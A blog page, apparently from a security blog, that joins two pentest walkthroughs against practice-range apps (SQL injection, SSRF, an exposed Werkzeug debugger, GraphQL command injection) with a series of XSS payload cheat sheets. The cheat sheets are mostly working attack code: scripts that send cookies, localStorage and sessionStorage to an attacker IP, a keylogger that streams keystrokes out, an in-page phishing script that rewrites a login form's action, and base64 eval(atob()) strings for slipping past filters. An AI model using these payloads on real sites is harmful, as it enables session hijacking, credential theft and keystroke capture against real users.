This is a walkthrough of a web app pentest against pentest-ground.com — a public security-testing practice range — targeting GuardianLeaks, an intentionally vulnerable “document leak” publishing app on port 81. It takes you from the first nmap scan through database dumping, server-side request forgery, and an exposed debugger, using nothing but the everyday toolkit.

What to expect reading this:

• A search box with UNION-based SQL injection → the whole user table (bcrypt hashes) falls out
• A blog-post reference field fetched server-side → SSRF straight into cloud metadata
• A title field that’s not output-encoded → stored XSS the “obvious” test misses
• A Flask app shipped with debug=True → an exposed Werkzeug debugger (RCE surface)
• Step-by-step commands with real output at every stage, and a full animated kill chain

Tools used in this walkthrough: nmap · testssl.sh · ffuf · sqlmap · curl

Skill level: Beginner-friendly — every command is explained.

Phase 1 — Information Gathering

Kick off with a service scan and a header grab.

Two issues before we even log in: a wildcard CORS policy and a session cookie with no HttpOnly/Secure/SameSite. testssl.sh later confirms there’s no HSTS (though TLS 1.2/1.3-only is fine).

Phase 2 — Enumeration

Content discovery with ffuf maps the app.

The interesting sinks: /search (a query param), /create (builds a post from title, content, description, author, and a reference URL), and /console — which serves a Werkzeug interactive debugger, the tell-tale sign of Flask running with debug=True.

Phase 3 — SQL Injection → Credential Dump

A single quote in query throws a 500 with a SQLite error. Finding the column count (5) and confirming with a UNION:

From there it’s a standard dump — schema, then the users table:

sqlmap reproduces it hands-free:

Phase 4 — SSRF in the reference Field

The reference field on /create is fetched server-side and reflected. Point it inward:

On a real cloud host that path leads to IAM credentials and account takeover.

Phase 5 — Stored XSS (the easy-to-miss one)

The content field is HTML-encoded on output, so the obvious <script> test comes back clean. But testing each field separately shows the title reflects unencoded — in both the <title> tag and the <h2> on the post page:

A live stored XSS for anyone viewing the post. The lesson: one encoded field doesn’t mean the app is safe — test every sink in its own context.

Phase 6 — Exposed Werkzeug Debugger

The debugger is reachable with EVALEX on, and unhandled errors (like the SQLi 500) render full stack traces leaking source and environment. If the debugger PIN can be derived from the leaked machine data, that’s remote code execution — there’s a public Exploit-DB module (43905) and a Metasploit module for exactly this. Root cause: Flask running with debug=True in production.

Attack Chain

Findings Summary

Remediation Priorities

1. Turn off Flask debug in production (debug=False, gunicorn/uWSGI) — kills F-003 and the traceback leaks.
2. Parameterise the /search query and disable verbose SQL errors — F-001.
3. Validate/allow-list the reference URL, block link-local/RFC1918, use IMDSv2 — F-002.
4. Encode output on every field, not just content — F-004.
5. Add CSRF tokens + SameSite, auth rate-limiting, a real CORS allow-list, HSTS, and X-Frame-Options — F-005/006/007.

A tidy little box that rewards testing every field and chasing each finding one step past “confirmed.”

This is a walkthrough of a web app pentest against pentest-ground.com — a public security-testing practice range running Damn Vulnerable GraphQL Application (DVGA). This post takes you through every phase from the first introspection query to full remote code execution inside the app container.

What to expect reading this:

• A GraphQL API with introspection left on (free schema dump, zero auth)
• A pastes query that trusts a client-supplied visibility flag (private data leak)
• A debug resolver with a raw cmd parameter and a weak default credential (instant RCE)
• Step-by-step commands with real output at every stage
• A full animated kill chain tying all findings together

Tools used in this walkthrough: nmap · wafw00f · testssl.sh · curl (manual GraphQL introspection/queries)

Skill level: Beginner-friendly — every command is explained.

Phase 1 — Information Gathering

I started by fingerprinting the target at https://pentest-ground.com:5013/. Before touching anything active, I wanted to know what I was dealing with — server headers, TLS posture, and any obvious tells in a plain response.

That Set-Cookie: env=graphiql:disable is a dead giveaway — it’s the exact cookie DVGA (Damn Vulnerable GraphQL Application) uses to toggle its bundled GraphiQL IDE. Before sending a single crafted payload, I already knew the framework.

To confirm, I opened the app in a browser:

The “Damn Vulnerable GraphQL Application” branding on the homepage confirms it outright — no guessing needed.

TLS itself was solid — no legacy protocol support, no classic downgrade bugs. But no HSTS and an insecure cookie went straight onto the findings list as low-severity hardening gaps.

Phase 2 — Reconnaissance

GraphQL doesn’t have “endpoints” the way REST does — everything hides behind one URL. So instead of directory brute-forcing, the move is a standard introspection query against /graphql.

Same query, replayed live in the browser against the app’s own origin — same result, still zero authentication:

Every query and mutation the API exposes — systemDiagnostics, importPaste, deleteAllPastes — handed over before a single auth header was sent.

Unauthenticated, zero effort, and it handed over the entire attack surface. Three fields jumped out immediately: systemDiagnostics(cmd) (a raw command parameter next to a shell-shaped resolver), importPaste(host, port, scheme) (a textbook SSRF shape), and pastes(public) (a visibility flag controlled entirely by the caller).

Phase 3 — Scanning

A straight sequential -p- sweep across all 65535 ports tripped the host’s scan-rate protection and just hung — a good reminder that shared community targets often have anti-scan defenses. Switching to curated, non-sequential port batches got clean results instead. A separate batch confirmed 7001/tcp open as well. Per scope, only :5013 was authorized for vulnerability analysis and exploitation — everything else here is recon-only and was left untouched.

No WAF in front of the app — nothing to bypass, nothing slowing down the requests that followed.

Phase 4 — Vulnerability Analysis

With the schema mapped, I categorised everything by what it could actually do if it worked. Two criticals stacked with a HIGH SSRF — that’s a full compromise chain from a single unauthenticated endpoint.

Phase 5 — Exploitation

F-001 — OS Command Injection via systemDiagnostics (Critical, CVSS 9.8)

systemDiagnostics(username, password, cmd) clearly gates on credentials before doing something — the question was which credentials. First, the obvious guess:

“Password Incorrect” — not “Username Incorrect” — confirmed admin was a real username and the check was live, just guessable. A short, respectful pass through common lab default passwords (not a rockyou brute-force — this is a shared community box) landed a hit:

Replayed live in the browser to capture it in the act:

admin:changeme clears the credential check, then cmd runs straight through to a shell — uid=1000(dvga) back in the response.

That’s a shell result, not an error message. ; chaining worked cleanly, meaning cmd is handed straight to a shell rather than an argv array — full arbitrary command execution as the dvga user inside the container.

F-002 — Broken Access Control: Unauthenticated Private Paste Disclosure (Critical, CVSS 8.6)

The pastes query takes a public boolean. The obvious question: does the server check who’s asking, or does it just trust the flag?

Captured live in the browser, no session established beforehand:

Two pastes flagged "public": false, phone number included, returned to a client that never authenticated.

No Authorization header. No session cookie. No login mutation called first — and it returned private data anyway. Any unauthenticated user can read every private paste in the system.

F-003 — SSRF via importPaste (High, CVSS 7.5)

With RCE already confirmed, importPaste(host, path, port, scheme) was tested for completeness rather than as the primary path:

Replayed live in the browser to capture the exact behavior:

The request hangs until the upstream proxy gives up — consistent with the backend trying to reach an attacker-chosen host with no destination validation.

The 504 is consistent with the backend making a blind outbound request to the attacker-supplied host:port and hanging past the upstream proxy timeout — the destination is fully attacker-controlled with no allow-list visible in behavior. Full out-of-band confirmation was intentionally not pushed further on this shared instance; the RCE above already demonstrates equal or greater internal-network reach.

Documented, Not Executed — deleteAllPastes()

The schema also exposes a zero-argument deleteAllPastes() mutation with the same missing-auth pattern as F-002. This was deliberately not run — the target is a shared public practice instance, and executing it would wipe data for every other person testing against it. It’s recorded as a finding from schema exposure plus the access-control pattern already proven above, not as an executed PoC.

Phase 6 — Post Exploitation

At this point the application is fully compromised from an unauthenticated starting position. Between the two criticals and the SSRF, an attacker would have: full arbitrary command execution inside the container; complete read access to every “private” paste in the system; and a blind internal-network fetch primitive that, combined with the RCE, gives equivalent reach to whatever else sits on that internal network.

Kill Chain

Key Takeaways

• Introspection is a force-multiplier for every other bug on this list — it turned blind API testing into “read the schema, go straight to the interesting fields.”
• Client-supplied flags (public: false) are not access control. Every access decision has to be re-derived server-side from who is actually asking.
• A parameter literally named cmd next to a login-gated resolver is still worth testing — weak/default credentials on debug endpoints are common enough to justify a short, respectful guess list.
• If your GraphQL API would be safe with introspection on, verbose errors on, and every filter client-trusted — you don’t need any of those safety nets, so turn them off anyway.

Remediation Summary

Disclaimer

This assessment was conducted against pentest-ground.com, a public security-testing practice range, with authorization confirmed for this engagement and scope limited to port 5013. The deleteAllPastes() mutation identified in the schema was documented but deliberately not executed, out of consideration for other users of this shared instance. All techniques documented here are for educational purposes only. Do not replicate against systems you don’t own or have explicit permission to test.

☕ Buy Me a Coffee

Generated with BlackOps — SweshInfoSec

What This Is

Before you can run any XSS attack, you need to understand what the browser is actually executing. This is the base JavaScript structure — the logic behind how payloads like alert(1) work under the hood.

function processData(data) {
  data.items.forEach(item => {
    console.log(item)
  });
}

let foo = {
  items: [
    "Hello",
    "Hacker",
    "Here"
  ]
}

processData(foo)

Why It Matters

When you inject <script>alert(1)</script> into a page, the browser parses and runs it as JavaScript. Understanding how the runtime processes objects, loops, and functions lets you craft more complex payloads — data extraction, DOM manipulation, exfiltration — not just pop-ups.

Basic Injection Starters

<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

Why Encoding?

WAFs and filters look for string signatures — <script>, alert(, document.cookie. Base64 encoding produces none of these. The browser decodes and executes it transparently.

The Cookie Exfil Payload

Step 1 — Create xss.js (your actual payload):

let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://192.168.XX.XX/exfil?data=" + encodedCookie)

Step 2 — Start your server:

Base64 Encoding

The script tag <script src="http://192.168.XX.XX/xss.js"></script> encoded in Base64:

Bypass Payloads

eval(atob()) — decode and execute Base64:

'+eval(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LlhYLlhYL3h4cy5qcyI+PC9zY3JpcHQ+'))+'

btoa(eval(atob())) — double-encode for extra evasion:

'+btoa(eval(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LlhYLlhYL3h4cy5qcyI+PC9zY3JpcHQ+')))+'

How to Encode Your Own Payload

Then wrap it:

eval(atob('YOUR_BASE64_HERE'))

Other Encoding Tricks

// HTML entity encoding
<script>alert(1)</script>

// Unicode escape
\u003cscript\u003ealert(1)\u003c/script\u003e

// Hex
\x3cscript\x3ealert(1)\x3c/script\x3e

// Mixed case (bypasses case-sensitive filters)
<ScRiPt>alert(1)</ScRiPt>

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

Why External Resources?

Inline payloads like <script>alert(1)</script> are often blocked by:

• WAFs checking for <script> tags
• CSP unsafe-inline restrictions
• Input length limits

Hosting the payload on your own server and loading it via src= sidesteps all of these — the browser fetches and executes it cleanly.

Step-by-Step

Step 1 — Create the payload file on your attack machine:

Step 2 — Start a Python HTTP server:

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/xss.js"></script>

What the Server Sees

That GET hit confirms the victim’s browser executed your script. Replace alert(1) with any payload — cookie exfil, keylogger, phishing redirect.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

The Problem with innerHTML

When a value is set via element.innerHTML = userInput, browsers refuse to execute <script> tags — they’re parsed as HTML but not run. However, event handlers on other tags do fire.

The Payload

<img src="/" onerror='fetch("http://192.168.XX.XX/exfil?data=" + encodeURIComponent(JSON.stringify(localStorage)))'>

How It Works

1. src="/" — the browser tries to load an image from the root path
2. That path returns the HTML page, not an image → triggers onerror
3. onerror fires the fetch, sending all localStorage contents to your server

No <script> tag. No external file. One attribute.

Impact

All localStorage keys and values arrive in a single request. Common targets: JWT tokens, session identifiers, user preferences with PII.

Other innerHTML Bypass Tags

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

The Attack

document.addEventListener('keydown', fn) fires on every keypress. Combine this with fetch() to stream keystrokes to your server in real time.

Step-by-Step

Step 1 — Create xss.js:

function logKey(event) {
    fetch("http://192.168.XX.XX/k?key=" + event.key)
}
document.addEventListener('keydown', logKey);

Step 2 — Start server:

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/xss.js"></script>

Step 4 — Parse the captured keystrokes:

What You Receive

Each keypress arrives as a separate GET request. Parse the log and reconstruct the plaintext of everything the victim typed — including passwords entered while the script runs.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

Why This is Dangerous

Standard phishing uses a fake domain — savvy users check the URL. This attack replaces the real page with a cloned version. The URL stays https://target.com. The padlock stays green. The victim has no signal that anything is wrong.

Step-by-Step

Step 1 — Create phishing.js:

fetch("login").then(res => res.text().then(data => {
    document.getElementsByTagName("html")[0].innerHTML = data
    document.getElementsByTagName("form")[0].action = "http://192.168.XX.XX"
    document.getElementsByTagName("form")[0].method = "get"
}))

Step 2 — Start your server (receives stolen credentials):

Step 3 — Submit the injection:

<script src="http://192.168.XX.XX/phishing.js"></script>

What Happens

1. Script fetches the real /login page HTML
2. Replaces the entire current page DOM with it — visually identical
3. Rewrites the form action to point to your server
4. Rewrites method to GET so credentials appear in your server log
5. Victim types credentials, hits submit → your server logs username + password

Why method=GET?

GET puts params in the URL → they appear in your HTTP access log automatically. POST would require parsing the body. For a quick PoC, GET is simpler to capture.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →

What’s Stored There?

Modern web apps frequently store sensitive data client-side:

• JWT access tokens
• API keys
• User profile data
• Feature flags with internal info

Both localStorage (persists across tabs/sessions) and sessionStorage (tab-scoped) are readable by any JavaScript on the same origin — including yours via XSS.

Local Storage Payload

Step 1 — Create xss.js:

let data = JSON.stringify(localStorage)
let encodeData = encodeURIComponent(data)
fetch("http://192.168.XX.XX/exfil?data=" + encodeData)

Step 2 — Start server:

Step 3 — Submit:

<script src="http://192.168.XX.XX/xss.js"></script>

Session Storage Payload

let data = JSON.stringify(sessionStorage)
let encodeData = encodeURIComponent(data)
fetch("http://192.168.49.129/exfil?data=" + encodeData)

What You Get

Decode it and you’ll find the raw JWT or API token. Replay it directly against the API — no password needed.

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →